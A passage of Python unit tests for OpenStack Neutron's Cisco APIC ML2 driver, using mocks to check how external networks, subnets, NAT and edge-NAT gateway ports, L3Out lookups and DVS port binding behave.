contract_name = "EXT-%s-allow-all" % mocked.APIC_NETWORK_PRE_EDGE_NAT l3out = self._scoped_name(ctx.current['name'], preexisting=True) expected_calls = [ mock.call(l3out, contract_name, external_epg=mocked.APIC_EXT_EPG, provided=True, owner='bar_tenant', transaction=mock.ANY), mock.call(l3out, contract_name, external_epg=mocked.APIC_EXT_EPG, provided=False, owner='bar_tenant', transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.unset_contract_for_external_epg.call_args_list) mgr.delete_tenant_filter.assert_called_once_with( contract_name, owner='bar_tenant', transaction=mock.ANY) mgr.delete_contract.assert_called_once_with( contract_name, owner='bar_tenant', transaction=mock.ANY) def test_delete_external_no_nat_network_postcommit(self): ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, TEST_SEGMENT1, external=True) mgr = self.driver.apic_manager self.driver.delete_network_postcommit(ctx) mgr.delete_external_routed_network.assert_called_once_with( self._scoped_name(mocked.APIC_NETWORK_NO_NAT), owner=self._tenant()) def test_create_subnet_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) subnet_ctx = self._get_subnet_context(SUBNET_GATEWAY, SUBNET_CIDR, net_ctx) mgr = self.driver.apic_manager self.driver.create_subnet_postcommit(subnet_ctx) mgr.ensure_subnet_created_on_apic.assert_called_once_with( self._tenant(), self._scoped_name(mocked.APIC_NETWORK), '%s/%s' % (SUBNET_GATEWAY, SUBNET_NETMASK), scope=None) def test_create_subnet_nogw_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) subnet_ctx = self._get_subnet_context(None, SUBNET_CIDR, net_ctx) mgr = self.driver.apic_manager self.driver.create_subnet_postcommit(subnet_ctx) self.assertFalse(mgr.ensure_subnet_created_on_apic.called) def test_create_external_subnet_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, external=True) subnet_ctx = self._get_subnet_context(SUBNET_GATEWAY, SUBNET_CIDR, net_ctx) mgr = self.driver.apic_manager self.driver.create_subnet_postcommit(subnet_ctx) mgr.ensure_subnet_created_on_apic.assert_called_once_with( self._tenant(), "EXT-bd-%s" % self._scoped_name(mocked.APIC_NETWORK), '%s/%s' % (SUBNET_GATEWAY, SUBNET_NETMASK), scope=None) def test_create_edge_nat_external_subnet_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, external=True) subnet_ctx = self._get_subnet_context(SUBNET_GATEWAY, SUBNET_CIDR, net_ctx) mgr = self.driver.apic_manager self.driver.create_subnet_postcommit(subnet_ctx) self.assertFalse(mgr.ensure_subnet_created_on_apic.called) def test_delete_external_subnet_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, external=True) subnet_ctx = self._get_subnet_context(SUBNET_GATEWAY, SUBNET_CIDR, net_ctx) mgr = self.driver.apic_manager self.driver.delete_subnet_postcommit(subnet_ctx) mgr.ensure_subnet_deleted_on_apic.assert_called_once_with( self._tenant(), "EXT-bd-%s" % self._scoped_name(mocked.APIC_NETWORK), '%s/%s' % (SUBNET_GATEWAY, SUBNET_NETMASK)) def test_delete_edge_nat_external_subnet_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, external=True) subnet_ctx = self._get_subnet_context(SUBNET_GATEWAY, SUBNET_CIDR, net_ctx) mgr = self.driver.apic_manager self.driver.delete_subnet_postcommit(subnet_ctx) self.assertFalse(mgr.ensure_subnet_deleted_on_apic.called) def test_update_external_subnet_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, external=True) subnet_ctx1 = self._get_subnet_context(SUBNET_GATEWAY, SUBNET_CIDR, net_ctx) subnet_ctx2 = self._get_subnet_context('10.3.1.1', SUBNET_CIDR, net_ctx) subnet_ctx2.original = subnet_ctx1.current mgr = self.driver.apic_manager self.driver.update_subnet_postcommit(subnet_ctx2) mgr.ensure_subnet_deleted_on_apic.assert_called_once_with( self._tenant(), "EXT-bd-%s" % self._scoped_name(mocked.APIC_NETWORK), '%s/%s' % (SUBNET_GATEWAY, SUBNET_NETMASK), transaction=mock.ANY) mgr.ensure_subnet_created_on_apic.assert_called_once_with( self._tenant(), "EXT-bd-%s" % self._scoped_name(mocked.APIC_NETWORK), '%s/%s' % ('10.3.1.1', SUBNET_NETMASK), transaction=mock.ANY) def test_update_edge_nat_external_subnet_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, external=True) subnet_ctx1 = self._get_subnet_context(SUBNET_GATEWAY, SUBNET_CIDR, net_ctx) subnet_ctx2 = self._get_subnet_context('10.3.1.1', SUBNET_CIDR, net_ctx) subnet_ctx2.original = subnet_ctx1.current mgr = self.driver.apic_manager self.driver.update_subnet_postcommit(subnet_ctx2) self.assertFalse(mgr.ensure_subnet_deleted_on_apic.called) self.assertFalse(mgr.ensure_subnet_created_on_apic.called) def test_create_external_subnet_overlap(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, external=True) subnet_ctx = self._get_subnet_context(mocked.APIC_EXT_GATEWAY_IP, mocked.APIC_EXT_CIDR_EXPOSED, net_ctx) raised = False try: self.driver.create_subnet_precommit(subnet_ctx) except md.CidrOverlapsApicExternalSubnet: raised = True self.assertTrue(raised) def test_port_notify_on_subnet_update(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, seg_type='opflex') subnet_ctx1 = self._get_subnet_context(SUBNET_GATEWAY, SUBNET_CIDR, net_ctx) subnet_ctx2 = self._get_subnet_context('10.3.1.1', SUBNET_CIDR, net_ctx) subnet_ctx2.original = subnet_ctx1.current port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1) port_ctx.current['fixed_ips'] = [ {'subnet_id': subnet_ctx2.current['id'], 'ip_address': '10.3.1.42'}] subnet_ctx2._plugin.get_ports.return_value = [port_ctx.current] self.driver.update_subnet_postcommit(subnet_ctx2) self.assertTrue(self.driver.notifier.port_update.called) def test_query_l3out_info(self): ctx1 = [{ 'l3extRsEctx': {'attributes': {'tDn': 'uni/tn-foo/ctx-foobar'}}}] mgr = self.driver.apic_manager mgr.apic.l3extOut.get_subtree.return_value = ctx1 info = self.driver._query_l3out_info('l3out', 'bar_tenant') self.assertEqual('bar_tenant', info['l3out_tenant']) self.assertEqual('foobar', info['vrf_name']) self.assertEqual('foo', info['vrf_tenant']) mgr.apic.l3extOut.get_subtree.reset_mock() mgr.apic.l3extOut.get_subtree.return_value = [] info = self.driver._query_l3out_info('l3out', 'bar_tenant') self.assertEqual(None, info) expected_calls = [ mock.call('bar_tenant', 'l3out'), mock.call('common', 'l3out')] self._check_call_list( expected_calls, mgr.apic.l3extOut.get_subtree.call_args_list) def test_nat_gw_port_precommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver.update_port_precommit(port_ctx) def _test_no_nat_multiple_gw_port_precommit_exception(self, pre): if pre: self.external_network_dict[mocked.APIC_NETWORK_NO_NAT + '-name'][ 'preexisting'] = 'True' net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, 'vm1', net_ctx, HOST_ID1, gw=True, router_owner='r2') self.driver._l3_plugin.get_routers.return_value = [ {'id': 'r1', 'tenant_id': 't1'}, {'id': 'r2', 'tenant_id': mocked.APIC_TENANT}, {'id': 'r3', 'tenant_id': mocked.APIC_TENANT}] mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) if pre: self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': self._tenant(), 'vrf_name': self._network_vrf_name(), 'vrf_tenant': self._tenant(vrf=True)} if self.driver.per_tenant_context: self.assertRaises(md.OnlyOneRouterPermittedIfNatDisabled, self.driver.update_port_precommit, port_ctx) else: self.driver.update_port_precommit(port_ctx) del self.driver._l3_plugin.get_routers.return_value[0] self.driver.update_port_precommit(port_ctx) def test_no_nat_multiple_gw_port_precommit_exception(self): self._test_no_nat_multiple_gw_port_precommit_exception(False) def test_no_nat_multiple_pre_gw_port_precommit_exception(self): self._test_no_nat_multiple_gw_port_precommit_exception(True) def test_no_nat_pre_gw_port_precommit_l3out_wrong_tenant(self): self.external_network_dict[mocked.APIC_NETWORK_NO_NAT + '-name'][ 'preexisting'] = 'True' net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant'} if self.driver.per_tenant_context or self.driver.single_tenant_mode: self.assertRaises(md.PreExistingL3OutInIncorrectTenant, self.driver.update_port_precommit, port_ctx) else: self.driver.update_port_precommit(port_ctx) def test_pre_gw_port_precommit_l3out_not_exist(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = None self.assertRaises(md.PreExistingL3OutNotFound, self.driver.update_port_precommit, port_ctx) def test_gw_port_precommit_l3out_edge_nat_invalid_vlan_range(self): self.driver.l3out_vlan_alloc.l3out_vlan_ranges = {} net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_EDGE_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.assertRaises(md.EdgeNatBadVlanRange, self.driver.update_port_precommit, port_ctx) del (self.external_network_dict[mocked.APIC_NETWORK_EDGE_NAT + '-name'] ['vlan_range']) self.assertRaises(md.EdgeNatVlanRangeNotFound, self.driver.update_port_precommit, port_ctx) def test_pre_gw_port_precommit_l3out_edge_nat_wrong_IF_type(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant', 'l3out': [{u'l3extLNodeP': {u'attributes': {u'dn': u'uni/tn-common/out-supported/lnodep-Leaf3-4_NP'}, u'children': [{u'l3extLIfP': {u'children': [{u'l3extRsPathL3OutAtt': {u'attributes': {u'ifInstT': u'l3-port' }}}]}}]}}]} self.assertRaises(md.EdgeNatWrongL3OutIFType, self.driver.update_port_precommit, port_ctx) def test_pre_gw_port_precommit_l3out_edge_nat_wrong_OSPF_auth(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant', 'l3out': [{u'l3extLNodeP': {u'attributes': {u'dn': u'uni/tn-common/out-supported/lnodep-Leaf3-4_NP'}, u'children': [{u'l3extLIfP': {u'children': [{u'ospfIfP': {u'attributes': {u'authType': u'simple' }}}]}}]}}]} self.assertRaises(md.EdgeNatWrongL3OutAuthTypeForOSPF, self.driver.update_port_precommit, port_ctx) def test_pre_gw_port_precommit_l3out_edge_nat_wrong_BGP_auth(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant', 'l3out': [{u'l3extLNodeP': {u'attributes': {u'dn': u'uni/tn-common/out-supported/lnodep-Leaf3-4_NP'}, u'children': [{u'l3extLIfP': {u'children': [{u'l3extRsNodeL3OutAtt': {u'attributes': {u'type': u'sha1'}}}, {u'bfdIfP': {u'attributes': {u'type': u'sha1'}}}, {u'l3extRsNodeL3OutAtt': {u'attributes': {u'type': u'sha1'}}}]}} ]}}]} self.assertRaises(md.EdgeNatWrongL3OutAuthTypeForBGP, self.driver.update_port_precommit, port_ctx) # try again with a good input self.driver._query_l3out_info.return_value['l3out'] = ( [{u'l3extLNodeP': {u'attributes': {u'dn': u'uni/tn-common/out-supported/lnodep-Leaf3-4_NP'}, u'children': [{u'l3extLIfP': {u'children': [{u'l3extRsNodeL3OutAtt': {u'attributes': {u'type': u'sha1'}}}, {u'bfdIfP': {u'attributes': {u'type': u'none'}}}, {u'l3extRsNodeL3OutAtt': {u'attributes': {u'type': u'sha1'}}}]}}]}}]) self.driver.update_port_precommit(port_ctx) def _setup_multiple_routers(self, ext_net_name, net_ctx): routers = [{'id': 'r1', 'tenant_id': 't1'}, {'id': 'r2', 'tenant_id': 't1'}, {'id': 'r3', 'tenant_id': 't2'}] def get_router(ctx, id): for r in routers: if r['id'] == id: return r def get_routers(ctx, filters): tenants = filters.get('tenant_id', []) return [r for r in routers if (not tenants or r['tenant_id'] in tenants)] self.driver._l3_plugin.get_router = get_router self.driver._l3_plugin.get_routers = get_routers gw_ports = [ self._get_port_context(mocked.APIC_TENANT, ext_net_name, 'gw', net_ctx, HOST_ID1, gw=True, router_owner=r['id']) for r in routers] def get_ports(ctx, filters): devices = filters.get('device_id', []) return [p.current for p in gw_ports if (not devices or p.current['device_id'] in devices)] for i in xrange(len(gw_ports)): gw_ports[i].current['id'] += i gw_ports[i]._plugin.get_ports = get_ports if self.driver.vrf_per_router_tenants: self.driver.vrf_per_router_tenants.extend(['t1', 't2']) return gw_ports def _test_delete_gw_port_multiple_postcommit(self, pre): if pre: ext_net_name = mocked.APIC_NETWORK_PRE ext_epg = self._scoped_name(mocked.APIC_EXT_EPG, preexisting=True) else: ext_net_name = mocked.APIC_NETWORK ext_epg = mocked.APIC_EXT_EPG shadow_ext_epg = "Shd-%s" % ext_epg net_ctx = self._get_network_context(mocked.APIC_TENANT, ext_net_name, TEST_SEGMENT1, external=True) gw_ports = self._setup_multiple_routers(ext_net_name, net_ctx) self.driver._delete_path_if_last = mock.Mock() mgr = self.driver.apic_manager # Delete first GW port self.driver.delete_port_postcommit(gw_ports[0]) vrf_pfx = ('%s-' % gw_ports[0]._port['device_id'] if self.driver.vrf_per_router_tenants else '') if self.driver.single_tenant_mode and self.driver.per_tenant_context: shadow_l3out = ( "Shd-%s" % self._scoped_name(vrf_pfx + ext_net_name, tenant='t1')) else: shadow_l3out = "Shd-%s" % (vrf_pfx + ext_net_name) if self.driver.vrf_per_router_tenants: mgr.delete_external_routed_network.assert_called_once_with( shadow_l3out, owner=self._tenant(ext_nat=True, neutron_tenant='t1')) else: self.assertFalse(mgr.delete_external_routed_network.called) exp_calls = [ mock.call(shadow_l3out, 'contract-r1', external_epg=shadow_ext_epg, owner=self._tenant(ext_nat=True, neutron_tenant='t1'), provided=True), mock.call(shadow_l3out, 'contract-r1', external_epg=shadow_ext_epg, owner=self._tenant(ext_nat=True, neutron_tenant='t1'), provided=False) ] self._check_call_list( exp_calls, mgr.unset_contract_for_external_epg.call_args_list) del gw_ports[0] # Delete second GW port mgr.delete_external_routed_network.reset_mock() mgr.unset_contract_for_external_epg.reset_mock() self.driver.delete_port_postcommit(gw_ports[0]) vrf_pfx = ('%s-' % gw_ports[0]._port['device_id'] if self.driver.vrf_per_router_tenants else '') if self.driver.per_tenant_context: if self.driver.single_tenant_mode: shadow_l3out = ( "Shd-%s" % self._scoped_name(vrf_pfx + ext_net_name, tenant='t1')) else: shadow_l3out = "Shd-%s" % (vrf_pfx + ext_net_name) mgr.delete_external_routed_network.assert_called_once_with( shadow_l3out, owner=self._tenant(ext_nat=True, neutron_tenant='t1')) else: self.assertFalse(mgr.delete_external_routed_network.called) exp_calls = [ mock.call(shadow_l3out, 'contract-r2', external_epg=shadow_ext_epg, owner=self._tenant(ext_nat=True), provided=True), mock.call(shadow_l3out, 'contract-r2', external_epg=shadow_ext_epg, owner=self._tenant(ext_nat=True), provided=False) ] self._check_call_list( exp_calls, mgr.unset_contract_for_external_epg.call_args_list) del gw_ports[0] # Delete third GW port mgr.unset_contract_for_external_epg.reset_mock() mgr.delete_external_routed_network.reset_mock() mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT + 'r3') self.driver.delete_port_postcommit(gw_ports[0]) vrf_pfx = ('%s-' % gw_ports[0]._port['device_id'] if self.driver.vrf_per_router_tenants else '') if self.driver.single_tenant_mode and self.driver.per_tenant_context: shadow_l3out = ( "Shd-%s" % self._scoped_name(vrf_pfx + ext_net_name, tenant='t2')) else: shadow_l3out = "Shd-%s" % (vrf_pfx + ext_net_name) mgr.delete_external_routed_network.assert_called_once_with( shadow_l3out, owner=self._tenant(ext_nat=True, neutron_tenant='t2')) def test_delete_gw_port_multiple_postcommit(self): self._test_delete_gw_port_multiple_postcommit(pre=False) def test_delete_pre_gw_port_multiple_postcommit(self): self._test_delete_gw_port_multiple_postcommit(pre=True) def _test_delete_no_nat_gw_port_multiple_postcommit(self, pre): ext_net_name = mocked.APIC_NETWORK_NO_NAT if pre: self.external_network_dict[mocked.APIC_NETWORK_NO_NAT + '-name'][ 'preexisting'] = 'True' net_ctx = self._get_network_context(mocked.APIC_TENANT, ext_net_name, TEST_SEGMENT1, external=True) gw_ports = self._setup_multiple_routers(ext_net_name, net_ctx) mgr = self.driver.apic_manager l3out = net_ctx.current['name'] if pre else ext_net_name if pre: self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': self._tenant()} # Delete first GW port self.driver.delete_port_postcommit(gw_ports[0]) self.assertFalse(mgr.set_context_for_external_routed_network.called) del gw_ports[0] # delete second GW port self.driver.delete_port_postcommit(gw_ports[0]) if self.driver.single_tenant_mode: l3out = self._scoped_name( net_ctx.current['name'] if pre else ext_net_name, preexisting=pre) if self.driver.per_tenant_context: mgr.set_context_for_external_routed_network.assert_called_with( self._tenant(), l3out, None, transaction=mock.ANY) else: self.assertFalse( mgr.set_context_for_external_routed_network.called) del gw_ports[0] # delete third GW port mgr.set_context_for_external_routed_network.reset_mock() self.driver.delete_port_postcommit(gw_ports[0]) mgr.set_context_for_external_routed_network.assert_called_with( self._tenant(), l3out, None, transaction=mock.ANY) def test_delete_no_nat_gw_port_multiple_postcommit(self): self._test_delete_no_nat_gw_port_multiple_postcommit(False) def test_delete_no_nat_pre_gw_port_multiple_postcommit(self): self._test_delete_no_nat_gw_port_multiple_postcommit(True) def test_no_nat_compute_port_precommit_exception(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_NO_NAT, 'vm1', net_ctx, HOST_ID1) self.assertRaises(md.VMsDisallowedOnExtNetworkIfNatDisabled, self.driver.create_port_precommit, port_ctx) def test_edge_nat_compute_port_precommit_exception(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_EDGE_NAT, 'vm1', net_ctx, HOST_ID1) self.assertRaises(md.VMsDisallowedOnExtNetworkIfEdgeNat, self.driver.create_port_precommit, port_ctx) def _get_network_context(self, tenant_id, net_id, seg_id=None, seg_type='vlan', external=False, shared=False, route_leak=False): network = {'id': net_id, 'name': net_id + '-name', 'tenant_id': tenant_id, 'provider:segmentation_id': seg_id, 'provider:network_type': seg_type, 'shared': shared} if external: network['router:external'] = True if seg_id: network_segments = [{'id': seg_id, 'segmentation_id': ENCAP, 'network_type': seg_type, 'physical_network': 'physnet1'}] else: network_segments = [] if route_leak: network[ALLOW_ROUTE_LEAK] = True return FakeNetworkContext(network, network_segments) def _get_subnet_context(self, gateway_ip, cidr, network): subnet = {'tenant_id': network.current['tenant_id'], 'network_id': network.current['id'], 'id': '[%s/%s]' % (gateway_ip, cidr), 'gateway_ip': gateway_ip, 'cidr': cidr} return FakeSubnetContext(subnet, network) def _get_port_context(self, tenant_id, net_id, vm_id, network_ctx, host, gw=False, device_owner='compute:nova', router_owner=None, interface=False): port = {'device_id': vm_id, 'device_owner': device_owner, 'binding:host_id': host, 'binding:vif_type': 'unbound' if not host else 'ovs', 'tenant_id': tenant_id, 'id': mocked.APIC_PORT, 'name': mocked.APIC_PORT, 'network_id': net_id, 'fixed_ips': [{'subnet_id': 'some_id', 'ip_address': '3.3.3.1'}]} if gw: port['device_owner'] = n_constants.DEVICE_OWNER_ROUTER_GW port['device_id'] = router_owner or mocked.APIC_ROUTER if interface: port['device_owner'] = n_constants.DEVICE_OWNER_ROUTER_INTF port['device_id'] = router_owner or mocked.APIC_ROUTER return FakePortContext(port, network_ctx) def test_keystone_notification_endpoint(self): self.driver.name_mapper.aci_mapper.is_tenant_in_apic = mock.Mock( return_value=True) payload = {} payload['resource_info'] = mocked.APIC_TENANT keystone_ep = md.KeystoneNotificationEndpoint(self.driver) keystone_ep.info(None, None, None, payload, None) mgr = self.driver.apic_manager if self.driver.single_tenant_mode: mgr.update_name_alias.assert_called_once_with( mgr.apic.fvAp, self._tenant(), self._app_profile(), nameAlias='new_name') else: mgr.update_name_alias.assert_called_once_with( mgr.apic.fvTenant, self._tenant(), nameAlias='new_name') class ApicML2IntegratedTestCaseDvs(ApicML2IntegratedTestBase): def setUp(self, service_plugins=None): ml2_opts = { 'mechanism_drivers': ['openvswitch', 'cisco_apic_ml2'], 'tenant_network_types': ['opflex'], 'type_drivers': ['opflex'], } self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') super(ApicML2IntegratedTestCaseDvs, self).setUp( service_plugins, ml2_opts=ml2_opts) # This is required for the test. Without it, # the ML2 driver's agent_type ends up being a # mocked type, which fails when passed to the # hast_agents() method for the PortContext # (but only for types not defined by the # mechanism driver class itself). self.driver.agent_type = ofcst.AGENT_TYPE_OPFLEX_OVS self.driver._dvs_notifier = mock.MagicMock() self.driver.dvs_notifier.bind_port_call = mock.Mock( return_value={'key': BOOKED_PORT_VALUE}) def _verify_dvs_notifier(self, notifier, port, host): # can't use getattr() with mock, so use eval instead try: dvs_mock = eval('self.driver.dvs_notifier.' + notifier) except Exception: self.assertTrue(False, "The method " + notifier + " was not called") return self.assertTrue(dvs_mock.called) a1, a2, a3, a4 = dvs_mock.call_args[0] self.assertEqual(a1['id'], port['id']) self.assertEqual(a2['id'], port['id']) self.assertEqual(a4, host) def _get_expected_pg(self, net): if self.driver.single_tenant_mode: return (self.driver.single_tenant_name + '|' + net['tenant_id'] + '|' + net['id']) else: return (net['tenant_id'] + '|' + mocked.APIC_SYSTEM_ID + '|' + net['id']) def test_bind_port_dvs(self): # Register a DVS agent self._register_agent('h1', agent_cfg=AGENT_CONF_DVS) net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=False, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub, tenant_id='onetenant') as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) self.mgr.ensure_path_created_for_port = mock.Mock() # Bind port to trigger path binding newp1 = self._bind_port_to_host(p1['id'], 'h1') # Called on the network's tenant expected_pg = self._get_expected_pg(net) pg = newp1['port']['binding:vif_details']['dvs_port_group_name'] self.assertEqual(pg, expected_pg) port_key = newp1['port']['binding:vif_details'].get('dvs_port_key') self.assertIsNotNone(port_key) self.assertEqual(port_key, BOOKED_PORT_VALUE) self._verify_dvs_notifier('update_postcommit_port_call', p1, 'h1') net_ctx = FakeNetworkContext(net, [{'network_type': 'opflex'}]) port_ctx = FakePortContext(newp1['port'], net_ctx) self.driver.delete_port_postcommit(port_ctx) self._verify_dvs_notifier('delete_port_call', p1, 'h1') def test_bind_port_dvs_with_opflex_diff_hosts(self): # Register an OpFlex agent and DVS agent self._register_agent('h1') self._register_agent('h2', agent_cfg=AGENT_CONF_DVS) net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=False, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) # Bind a VLAN port after registering a DVS agent with self.port(subnet=sub, tenant_id='onetenant') as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) self.mgr.ensure_path_created_for_port = mock.Mock() # Bind port to trigger path binding newp1 = self._bind_port_to_host(p1['id'], 'h2') # Called on the network's tenant expected_pg = self._get_expected_pg(net) vif_det = newp1['port']['binding:vif_details'] self.assertIsNotNone(vif_det.get('dvs_port_group_name', None)) self.assertEqual(expected_pg, vif_det.get('dvs_port_group_name')) port_key = newp1['port']['binding:vif_details'].get('dvs_port_key') self.assertIsNotNone(port_key) self.assertEqual(port_key, BOOKED_PORT_VALUE) self._verify_dvs_notifier('update_postcommit_port_call', p1, 'h2') net_ctx = FakeNetworkContext(net, [{'network_type': 'opflex'}]) port_ctx = FakePortContext(newp1['port'], net_ctx) self.driver.delete_port_postcommit(port_ctx) self._verify_dvs_notifier('delete_port_call', p1, 'h2') def test_bind_ports_opflex_same_host(self): # Register an OpFlex agent and DVS agent self._register_agent('h1') net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=False, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) # Bind a VLAN port after registering a DVS agent with self.port(subnet=sub, tenant_id='onetenant') as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) self.mgr.ensure_path_created_for_port = mock.Mock() # Bind port to trigger path binding newp1 = self._bind_port_to_host(p1['id'], 'h1') # Called on the network's tenant vif_det = newp1['port']['binding:vif_details'] self.assertIsNone(vif_det.get('dvs_port_group_name', None)) port_key = newp1['port']['binding:vif_details'].get('dvs_port_key') self.assertIsNone(port_key) dvs_mock = self.driver.dvs_notifier.update_postcommit_port_call dvs_mock.assert_not_called() net_ctx = FakeNetworkContext(net, [{'network_type': 'opflex'}]) port_ctx = FakePortContext(newp1['port'], net_ctx) self.driver.delete_port_postcommit(port_ctx) dvs_mock = self.driver.dvs_notifier.delete_port_call dvs_mock.assert_not_called() self.driver.dvs_notifier.reset_mock() with self.port(subnet=sub, tenant_id='onetenant') as p2: p2 = p2['port'] self.assertEqual(net['id'], p2['network_id']) self.mgr.ensure_path_created_for_port = mock.Mock() # Bind port to trigger path binding newp2 = self._bind_dhcp_port_to_host(p2['id'], 'h1') # Called on the network's tenant vif_det = newp2['port']['binding:vif_details'] self.assertIsNone(vif_det.get('dvs_port_group_name', None)) port_key = newp2['port']['binding:vif_details'].get('dvs_port_key') self.assertIsNone(port_key) dvs_mock.assert_not_called() net_ctx = FakeNetworkContext(net, [{'network_type': 'opflex'}]) port_ctx = FakePortContext(newp2['port'], net_ctx) self.driver.delete_port_postcommit(port_ctx) dvs_mock = self.driver.dvs_notifier.delete_port_call dvs_mock.assert_not_called() def test_bind_ports_dvs_with_opflex_same_host(self): # Register an OpFlex agent and DVS agent self._register_agent('h1', agent_cfg=AGENT_CONF_DVS) net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=False, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) # Bind a VLAN port after registering a DVS agent with self.port(subnet=sub, tenant_id='onetenant') as p1: p1 = p1['port'] 